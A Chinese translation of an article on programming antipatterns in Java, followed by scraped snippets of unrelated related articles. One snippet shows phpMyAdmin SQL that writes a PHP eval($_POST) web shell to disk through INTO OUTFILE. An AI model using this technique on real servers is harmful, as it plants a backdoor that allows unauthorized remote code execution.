編程反模式

您是否曾經進行過代碼審查,記錄了非常高的WTF / m? 您是否想知道所有這些錯誤代碼的原因是什么? 在大多數情況下,導致原因1的主要原因是使用設計和編碼反模式。

如果您喜歡定義,請參見以下內容:AntiPattern是一種文學形式,它描述了對問題的普遍存在的解決方案,該解決方案產生肯定的負面影響。 AntiPattern可能是由于經理或開發人員不了解更好,沒有足夠的知識或經驗來解決特定類型的問題或在錯誤的情況下應用了完美的模式而導致的。

重新發明輪子

IMO經常發生的反模式是缺乏對某些有用框架/庫的了解。 Apache commons lang和commons集合是每個Java項目中都應該存在的依賴項。

您可以編寫自己喜歡的循環過濾或選擇集合中的某些對象的方法,也可以使用CollectionUtils.select(…)或CollectionUtils.filter(…)。

您可以執行一些花哨的非null檢查,最后以巨大的if-else構造結束,或者可以使用StringUtils.isNotBlank(…)。 由你決定。

一般規則是不要試圖重新發明輪子。 有些人喜歡編寫自己的Reflection utils,而Apache的commons beanutils ,Spring的BeanUtils和BeanWrapper可以解決問題。

貨物崇拜編程

貨物崇拜編程是一種編程樣式,其中使用模式和方法而不了解原因。 “貨運邪教”一詞最初是指第二次世界大戰后在南太平洋長大的土著宗教。 這些團體的做法集中在建造精美的飛機和軍事起落跑道的模型上,以期召喚在戰爭中帶來奇妙貨物的神似飛機。

大多數情況下,熟練的或經驗不足的程序員都會使用這種編程方式,從其他地方復制粘貼某些代碼。
例子:
–在自說明代碼中添加不必要的注釋 –為沒有問題的垃圾將自動收集的對象添加刪除代碼 –創建工廠以構建簡單的對象

通過例外/期望處理進行編碼

代替 檢查某些特定的轉折情況值(例如null值)的方法,有些人喜歡捕獲NullPointerException并在catch塊中執行一些邏輯。 這種編碼方式稱為期望處理,因為預期會發生異常。

發明了異常是為了通知您以下事實:確實發生了一些非常糟糕的事情,但并不意味著經常將它們拋出。 這就是為什么它們被稱為“例外”。 如果發生這種情況,請仔細處理它們,但不要濫用它們以執行某些本可以通過簡單的if-else檢查實現的邏輯。

避免/吞咽異常

參考前面的反模式,當引發異常時,意味著發生了意外情況。 您應該做的最后一件事是吞下這些異常,而不是處理其有用的信息。

例如,如果您有一個只希望返回一個對象的方法,因為它希望它是唯一的,則對返回結果列表的數據庫查詢進行性能檢查,檢查該列表的大小是否等于1,然后執行只能返回1個唯一對象的查詢。結果(如果沒有拋出異常)。 如果要實現類似的東西,則意味著預期的對象可能不是唯一的,這意味著實現與分析中所說的有所不同。

繼承地獄

繼承應謹慎處理。 它非常有用,但是您只能使用它的預期用途。 如果繼承樹變得腫,那是不對的。 不要為1種特定情況編寫抽象類。 請改用合成。 策略模式可以在這里派上用場。

例如,如果您的JSF托管bean'EditUserManagedBean'擴展了AbstractEditingManagedBean,又擴展了AbstractSelectionManagedBean,又擴展了AsbtractParentDetailManagedBean,又擴展了AbstractManagedBean,則您應該知道有些錯誤,并且應該有其他方法可以實現此行為 ;-)

鍍金 和過早優化

有些人喜歡通過繼續努力來改進代碼,直到付出額外的努力才增加了價值,而不是堅持要求。 此處犯的錯誤是,使最終用戶看到產品中的其他或增強功能比用戶要求或期望的功能更加高興。 用戶可能對結果感到失望,而開發人員的額外努力可能是徒勞的。 該過程稱為鍍金。

鍍金與過早的優化有關。 過早的優化是指考慮將來可能會出現的問題,但目前還不是這種情況。 您應該只考慮所要求的內容和要求的內容,而不要考慮最終可能對將來的目的有用的內容。 頻繁發生的過早優化是過早的性能優化。 如果此時不存在性能問題,請不要嘗試處理它們,當它們發生時再進行處理。

參考文獻

  • 由我們的JCG合作伙伴 Glenn Dejaeger在about:software development中 編程反模式 。
  • http://en.wikipedia.org/wiki/Anti-pattern#Programming_anti-patterns

相關文章 :
  • JDK中的設計模式
  • 正確記錄應用程序的10個技巧
  • 每個程序員都應該知道的事情
  • Java教程和Android教程列表

翻譯自: https://www.javacodegeeks.com/2011/10/programming-antipatterns.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373908.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373908.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373908.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數,這里指定k2。注意2個高斯分布具有相同均方差Sigma,分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…

CSDN挑戰編程——《數學問題》

數學問題 題目詳情: 給你兩個長度為n的正整數序列分別為{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 設Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi為整數&#xff0c;0<xi<1。 請你求出S的最小值。 輸入…

【P1835】小紅花

很簡單的題&#xff0c;然而我沒想到&#xff0c;在NOIP上怎么辦嘛QAQ 話說這題不知道怎么分類啊……先扔到玄學里邊把…… 原題&#xff1a; Fj在圣誕節來臨之際&#xff0c;決定給他的奶牛發一些小紅花。現在Fj一共有N頭奶牛&#xff0c;這N頭牛按照編號1..N&#xff0c;排成…

python多維數組運用_使用Python將文件讀入多維數組

If I have a text file like this:Hello WorldHow are you?Bye WorldHow would I read it into a multidimensional array like this:[["Hello", "World"],["How", "are", "you?"],["Bye" "World"]]I…

Java日志混亂

每個應用程序都需要記錄日志。 現在&#xff0c;對于在Java中確切使用什么有很多選擇。 最著名的框架是&#xff1a;log4j&#xff0c;logback&#xff0c;commons-logging&#xff0c;slf4j&#xff0c;java.util.logging。 還有更多的東西–時不時有人決定編寫自己的記錄器–…

Cocos2d-x 3.2 Lua演示樣例FontTest(字體測試)

Cocos2d-x 3.2 Lua演示樣例FontTest&#xff08;字體測試&#xff09;本篇博客介紹Cocos2d-x 3.2中Lua測試項目中的FontTest樣例&#xff0c;主要使用了字體文件來創建我們想要的字體樣式&#xff1a;第一個參數為文本。第二參數為ttf字體文件&#xff0c;第三個參數為字體大小…

CSDN挑戰編程——《絕對值最小》

絕對值最小 題目詳情: 給你一個數組A[n],請你計算出ansmin(|A[i]A[j]|)(0<i,j<n). 例如&#xff1a;A{1&#xff0c; 4&#xff0c; -3}&#xff0c; 則&#xff1a; |A[0] A[0]| |1 1| 2. |A[0] A[1]| |1 4| 5. |A[0] A[2]| |1 (-3)| 2. |A[1] A[1]| |4 …

linux上安裝memcached步驟

libevent: http://libevent.org/ 服務器端&#xff1a;https://code.google.com/archive/p/memcached/downloads 客戶端&#xff1a; http://pecl.php.net/package/memcache 和 http://pecl.php.net/package/memcached 二選一 http://chenzhou123520.iteye.com/blog/1…

IPC之SystemV

svipc - System V interprocess communication mechanisms linux實現的System V interprocess communication (IPC)機制包含消息隊列&#xff08;message queues&#xff09;&#xff0c;信號集&#xff08;semaphore sets&#xff09;&#xff0c;和共享內存&#xff08;share…

oracle create user

sqlplus /nolog conn sys/pw123456orcl as sysdba CREATE USER zengwenfeng IDENTIFIED BY zengwenfeng ; GRANT ALL PRIVILEGES TO zengwenfeng ; COMMIT; C:\Users\Administrator>sqlplus /nologSQL*Plus: Release 11.2.0.1.0 Production on 星期日 12月 24 21:38:24 20…

具有GlassFish和一致性的高性能JPA –第2部分

在我的四部分系列的第二部分中&#xff0c;我將解釋將Coherence與EclipseLink和GlassFish一起使用的策略第一。這描述了配置Coherence的JPA支持的Cache所必須采取的步驟&#xff0c;以及如何在GlassFish中使用它。高性能數據存儲。 一般的做法 您可以將Coherence API與通過JPA映…

arm板telnetd為什么運行不了_一種基于ARM的嵌入式系統開發的方案詳細講解

背景介紹在日益信息化的社會中&#xff0c;各種各樣的嵌入式系統已經全面滲透到日常生活的每一個角落。嵌入式系統的功能越來越復雜&#xff0c;這就使得一個嵌入式系統產品從市場需求立項到方案選擇、樣機研制、定型量產所需要的開發費用越來越多&#xff0c;所需開發時間越來…

反素數 -- 數學

反素數就是區間內約數個數最多的那個數。 在ACM題目里&#xff0c; 一般是求約數最多而且數字最小的那個數&#xff0c;【1--n】 二是求約數剛好等于n的最小的那個數 三是求區間里的最小反素數【beign&#xff0c;end】 1和3有區別嗎&#xff1f;有&#xff0c;1可以加速&#…

編程挑戰系統的輸入和輸出詳細說明

在高校俱樂部線上編程挑戰中&#xff0c;一道題目的所有測試數據是放在一個文本文件中&#xff0c;選手將一道題目的程序提交給評判系統運行&#xff0c;程序從該文件中讀取測試數據&#xff0c;再把運行結果輸出到另一個文本文件中。系統把輸出文件與標準答案比對&#xff0c;…